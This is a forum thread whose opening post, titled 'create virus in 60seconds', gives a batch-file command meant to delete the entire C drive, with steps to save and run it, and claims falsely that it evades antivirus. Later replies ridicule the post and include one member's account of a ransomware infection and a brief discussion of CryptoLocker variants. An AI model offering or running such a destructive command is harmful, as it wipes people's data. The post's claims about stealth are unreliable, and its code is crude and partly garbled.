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create virus in 60seconds

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Kibet Elvo

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You will create this virus using batch file programming.
This virus will delete the C Drive completely.
The good thing about this virus is that it is not detected by antivirus. If you want to learn more about batch programming visit my post about Learn Batch Programming.

Now lets see how to Make the virus!
1. Open Notepad and copy below code into it.
@Echo off
Del C:\ *.* |y

2. Save this file as
virus.bat (Name can be anything but .bats must).

3. Now, running this file will
delete all the content of C Drive .

Warning: Please don’t try to run on your own computer or else it will delete all the content of your C Drive. I will not be responsible for any damage done to your computer.

60seconds!!!!
 

aviator

Village Elder
#6
How do you make it spread to another comp, and while there, how do you make it automatically execute? If you cant answer these, then its just like telling us that you become a virus every time you delete some files from c:/
 
#7
How do you make it spread to another comp, and while there, how do you make it automatically execute? If you cant answer these, then its just like telling us that you become a virus every time you delete some files from c:/
Thats what I thought too..I guess anyone using a Pc is pretty much aware that drive c is a no delete zone
 

Ingia

Village Elder
#9
A virus has to beat firewall, antivirus, and permissions to execute without express command from keyboard or other input devices on your comp. I was hit the other day by some virus that encrypted everything in my comp using a 2048-bit RSA public key and demanded ransom to be paid in bitcoins. A 2048-bit key is like a password several pages long containing all kind of characters and symbols and there is no technology to crack that. All data stored from 2010 to now became immediately unusable and I had to start all over. I just had to delete everything and format drives. The thing is barely detectable by any antivirus, and operates continuously and fast until it is done with all files in all drives except the Windows folder in C when it now pushes several messages telling you how to pay the ransom. Nakwambia chief usipatikane na hii. Its being spread by Zeus or GameOverZeus or its variants, which goes around creating fake websites and fake urls.
 
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danji1

Village Elder
#10
A virus has to beat firewall, antivirus, and permissions to execute without express command from keyboard or other input devices on your comp. I was hit the other day by some virus that encrypted everything in my comp using a 2048-bit RSA public key and demanded ransom to be paid in bitcoins. A 2048-bit key is like a password several pages long containing all kind of characters and symbols and there is no technology to crack that. All data stored from 2010 to now became immediately unusable and I had to start all over. I just had to delete everything and format drives. The thing is barely detectable by any antivirus, and operates continuously and fast until it is done with all files in all drives except the Windows folder in C when it now pushes several messages telling you how to pay the ransom. Nakwambia chief usipatikane na hii. Its being spread by Zeus or GameOverZeus or its variants, which goes around creating fake websites and fake urls.
Did you visit any particular website that triggered the incident?
 

agik

Village Elder
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A virus has to beat firewall, antivirus, and permissions to execute without express command from keyboard or other input devices on your comp. I was hit the other day by some virus that encrypted everything in my comp using a 2048-bit RSA public key and demanded ransom to be paid in bitcoins. A 2048-bit key is like a password several pages long containing all kind of characters and symbols and there is no technology to crack that. All data stored from 2010 to now became immediately unusable and I had to start all over. I just had to delete everything and format drives. The thing is barely detectable by any antivirus, and operates continuously and fast until it is done with all files in all drives except the Windows folder in C when it now pushes several messages telling you how to pay the ransom. Nakwambia chief usipatikane na hii. Its being spread by Zeus or GameOverZeus or its variants, which goes around creating fake websites and fake urls.
You are talking about cryptolocker, na hii yako sijasema ni hekaya, but ni hekaya
 

Ingia

Village Elder
#13
Did you visit any particular website that triggered the incident?
Yes. I was clicking through sites and that's what i think got me. There was one specific one running a malfunctioning script. I didnt know what was going on until I couldn't open pdf documents. And then I have this message on a PNG and a .TXT telling me a story abt what happened to my files. I checked almost all folders and everything was encrypted except for executables in the windows installation. I just had to delete everything and format.
 
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Yes. I was clicking through sites and that's what i think got me. There was one specific one running a malfunctioning script. I didnt know what was going on until I couldn't open pdf documents. And then I have this message on a PNG and a .TXT telling me a story abt what happened to my files. I checked almost all folders and everything was encrypted except for executables in the windows installation. I just had to delete everything and format.
Always check warnings before doing it
 

Ingia

Village Elder
#15
You are talking about cryptolocker, na hii yako sijasema ni hekaya, but ni hekaya
I first suspected cryptolocker but I had known it to spread through emails and I didnt have any suspicious email. Again cryptolocker attaches a specific extension to your files. This didnt change the extension and I think it was an adapted variant. There are several out there. Antivirus called it something like
Ransom:Win32/Crowti.A
 
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Please don’t try to run on your own computer or else it will delete all the content of your C Drive. I will not be responsible for any damage done to your computer.
 
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